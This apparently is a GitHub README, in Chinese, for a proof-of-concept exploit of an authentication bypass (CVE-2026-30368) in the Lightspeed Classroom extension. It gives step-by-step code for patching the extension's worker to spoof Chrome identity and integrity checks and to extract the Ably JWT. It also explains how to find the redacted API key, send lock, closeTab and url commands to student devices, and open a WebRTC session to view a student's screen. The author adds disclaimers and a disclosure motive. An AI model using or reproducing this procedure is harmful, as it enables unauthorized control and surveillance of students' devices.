truekas/ls-poc

GitHub: truekas/ls-poc

针对 Lightspeed Classroom 课堂管理系统中 CVE-2026-30368 身份验证绕过漏洞的完整利用概念验证,演示了从 JWT 提取到远程控制学生设备的攻击链路。

Stars: 1 | Forks: 0

# CVE-2026-30368 概念验证 ## 简介 CVE-2026-30368 允许攻击者利用 Lightspeed Classroom 管理系统中的身份验证漏洞来控制学生设备。 该 POC(poc.js)在全局上下文中执行来自 LS Classroom 扩展的 service worker。该 worker 还会运行 classroom.wasm 以实现某些功能。wasm-loader.js 会加载该 worker,并提取由 classroom.wasm 生成的 JWT token。一旦提取成功,它将终止该 worker,随后将 token 发送到 Lightspeed API 以接收用于连接目标 Ably 频道的 token。之后,攻击者便可以向学生设备发送命令。完整的命令列表及更多详细信息请参阅[此处](https://incognitotgt.me/blog/lightspeed)的完整文章。 ## 您必须提供自己的 WORKER.JS、CLASSROOM.WASM 和 MANIFEST.JSON 文件! 它们不能存放在本仓库中,原因如下: - 如果我这么做,本仓库肯定会被 Lightspeed 以 DMCA(数字千年版权法)为由投诉 - 这些文件在不同的学区/版本中各不相同 为避免出现问题,建议使用 `5.1.2.1763770643` 版本。如果您需要针对更新版本进行适配,请自行解决。 您可以从 Lightspeed 扩展的源代码中获取 worker.js 和 classroom.wasm 文件。获取方式:在个人设备上使用学校账号登录 Chrome,然后从您的 Chrome 配置文件目录中的 extensions 文件夹里提取扩展源代码。您也可以通过更新 URL 手动下载 crx 文件。 ## 设置 wasm 加载器 获取文件后,只需将它们添加到克隆的仓库目录中。您需要进入 wasm-loader.js 找到 getManifest() 函数,并将您的扩展 manifest 粘贴到那里。您还需要在 wasm-loader.js 文件的顶部添加扩展 ID。 复制一份 worker.js 并将其重命名为您喜欢的文件名。稍后您会用到它。您需要通过 [webcrack](https://webcrack.netlify.app) 运行 worker.js,以对其进行反混淆和反压缩处理,从而进行必要的修改。**进行此操作时,请确保仅勾选了 "Deobfuscate" 和 "Unminify" 选项**。在将结果粘贴回编辑器之前,建议关闭所有 LSP 服务器,因为它们会删除看似无用的变量,导致 worker 在后续阶段运行失败(说的就是你,vtsls...) ## 修补 Worker 由于 service worker 将在 node.js 上运行(请确保您已安装它),因此需要进行一些修补才能使其正常运行。此外,还需要添加 JWT 提取逻辑。 在 worker.js 的**最顶部**添加以下 2 个函数: ``` function valueCallBefore(call, before, func, r) { const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js' if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") { return [actualWorkerUrl, call[1]]; } if (func == chrome.identity.getProfileUserInfo) { call[1](identity) return [] } return before } function valueCallAfter(call, after, func, r) { if (func.name == "toString"){ return 'function getProfileUserInfo() { [native code] }' } if (call[0] == "worker.js") { return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js" } return after } ``` 当我们在随后修改 wasm Go 运行时以拦截和修改 LS classroom wasm 使用的值时,将会用到这些函数。 请确保将 YOUR_EXTENSION_ID 替换为您的扩展 ID,并将 worker_copy.js 替换为您之前创建的原始 worker.js 副本的文件名。 接下来,在主箭头函数内部(即在 `(() => {` 之后)添加以下 2 个函数: ``` chrome.runtime.getPlatformInfo = function (e) { e({ "arch": "x86-64", "nacl_arch": "x86-64", "os": "cros" }) return { "arch": "x86-64", "nacl_arch": "x86-64", "os": "cros" } } chrome.identity.getProfileUserInfo = function (e) { if (e){ e(identity) } else { return identity } } ``` 接下来,您需要将 `IsClassroomActive` 硬编码为 true,以便您能够在校园网络之外执行此程序。只需将该函数修改为始终返回 true 即可: ``` _0x22e7ce.exports = { IsChromebookOnly: _0x218c73, IsClassroomActive: function () { return true; }, LoadPolicy: _0x9069fc }; ``` 然后,搜索 `syscall/js.valueCall` 以找到需要修改的 valueCall 函数。它负责向 wasm 传递 JS 值。通过修改此函数,我们可以拦截并修改两个值:一个是 worker.js 的路径(它会被替换为您 worker 副本的路径,从而使哈希校验通过),另一个是 `chrome.identity.getProfileUserInfo.toString` 的值(它被修改为 `native code`,使得 WASM 误以为它未被篡改、值得信任,而实际上它在文件顶部已经被我们修改了)。为此,您需要使用我们在顶部定义的 `valueCallBefore` 和 `valueCallAfter` 函数。按如下所示修改 valueCall 函数(变量名可能会有所不同,但结构是相同的): ``` "syscall/js.valueCall": function (_0x4b3309) { _0x4b3309 >>>= 0; try { var _0x35f3af = _0x3634e7(_0x4b3309 + 8); var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16)); var _0x369f3d = _0x5a331c(_0x4b3309 + 32); _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af); var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d); _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af); _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0; _0x51c0ee(_0x4b3309 + 56, _0x1b573a); _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1); } catch (_0x4b14cb) { _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0; _0x51c0ee(_0x4b3309 + 56, _0x4b14cb); _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0); } }, ``` 快完成了。最后,您需要添加捕获 JWT 的代码。搜索 `echoMessages: file`,您将找到包含发送到 Ably 的请求头列表的变量。在该列表的正下方,添加以下这一行代码(其中的变量名极有可能不准确,您可以在 authHeaders 中找到访问 `ablyJwt` 的同款代码行): ``` globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt"); ``` 这会将 JWT 赋值给全局作用域中的一个变量,以便 wasm-loader.js(即运行 service worker 的“外壳”程序)能够访问它。至此,对 worker 的修改就全部完成了。请确保您所有的 LSP 仍处于关闭状态。如果它们重新启动了,您可能会在稍后遇到未定义变量的问题。 ## 最终准备 转到 poc.js 文件。在文件顶部,添加您要测试的账户的电子邮件和 Customer ID(最好是您自己的)。使用非本人的 Customer ID 会抛出错误,因为您需要拥有与该 Customer ID 对应的正确 worker.js 和 classroom.wasm 文件。 #### **我不赞成在未经真实学生同意的情况下对他们使用此工具!!!🙂** 由于法律原因,poc.js 中的 Ably API key 已被隐去,因此您需要自行寻找。请在 worker.js 中查找它,它以 `G52` 开头。您的 Customer ID 也可以在同一文件中找到,搜索 `CUSTOMER_ID:` 或查找符合此格式的字符串:`XX-XXXX-XXXX`。最后 3 位数字通常是 `000`。 至于 User Agent,您可以将其设置为任何内容,但 AWS 可能会拦截某些与自动化工具相关的 UA。 完成所有这些操作后,转到底部,您可以添加消息,通过 `publish` 将其发送到用户的 Ably 频道。消息可以包括 `lock`、`closeTab`、`url` 等等。 Lightspeed 使用的完整 Ably 消息列表在[此处](https://www.incognitotgt.me/blog/lightspeed#:~:text=Lightspeed%20Classroom%20uses%20the%20following%20Ably%20messages)。 ## 执行 使用 node.js、deno 或其他运行时执行该文件。 Bun 无法运行。 ``` $ node poc.js ``` 欢迎在此基础上扩展该 POC,例如将其制作成 CLI 工具或其他形式。 ## RTC 如果有人好奇如何使用 Lightspeed Classroom 的 WebRTC(屏幕查看)功能,它是可以实现的,但比较麻烦。您必须满足以下条件才能使其正常工作: - 当前时间必须符合策略中 class_schedule 指定的时间窗口(在完整文章中有更多相关阅读) - 如果有要求,客户端必须处于校园网络环境中 - 您最好与目标处于同一网络下(可选,但强烈推荐) - 最好在教师同时正在使用 Lightspeed 的时候进行(这会打开 RTC 运行的窗口) 假设您已经连接到客户端的 Ably 频道,可以使用以下代码发起 WebRTC 连接: ``` channel.publish('request_rtc', { sessionId: sessId, role: 'viewer', want: ['video'] }); // rtc setup const pc = new RTCPeerConnection(); const pendingIce = []; pc.onicecandidate = (event) => { if (event.candidate?.candidate) { channel.publish('answer_rtc_ice', { sessionId: sessId, ice: event.candidate }); } }; channel.subscribe(async (msg) => { if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) { await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp }); for (const ice of pendingIce) await pc.addIceCandidate(ice); pendingIce.length = 0; const answer = await pc.createAnswer(); await pc.setLocalDescription(answer); channel.publish('answer_rtc', { sessionId: sessId, answer }); } if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) { const ice = msg.data.ice; if (!ice?.candidate) return; if (pc.remoteDescription) await pc.addIceCandidate(ice); else pendingIce.push(ice); } }); ``` 至于如何查看视频画面,就留给您自己去探索了(任何具备基础 HTML 知识并会使用搜索引擎/AI 的人都应该能搞定),但上述代码已经建立了连接。遗憾的是,视频流只有 1 FPS,不过这是 LS classroom 本身的限制。 再次声明,我不能保证它随时都能成功,因为它实在太过敏感,但如果您能稳定复现,请务必告诉我! ## 最后说明 请不要将此 POC 用于破坏性目的。我对您可能做出的任何恶意行为概不负责。正如您所知,Lightspeed 已经对此漏洞置之不理长达 3 个月之久,我估计他们还要再拖上一周(甚至更久?...)才能修复。希望这份 POC 能让他们意识到当前情况的严重性,并加快修复速度。最后,如果您正好是学校的 IT 人员,请将此事汇报给您的上司🙂 ♥️, truekas 2026.4.22
标签:Ably实时通信, AI工具, API漏洞, CISA项目, CVE-2026-30368, Exploit, JWT令牌提取, Lightspeed Classroom, MITM代理, POC, Service Worker, WASM逆向, WebAssembly, Webcrack, 代码混淆, 协议分析, 安全漏洞, 弱身份验证, 教育安全, 数据可视化, 未授权访问, 权限提升, 概念验证, 浏览器扩展安全, 自定义脚本, 设备接管, 课堂管理系统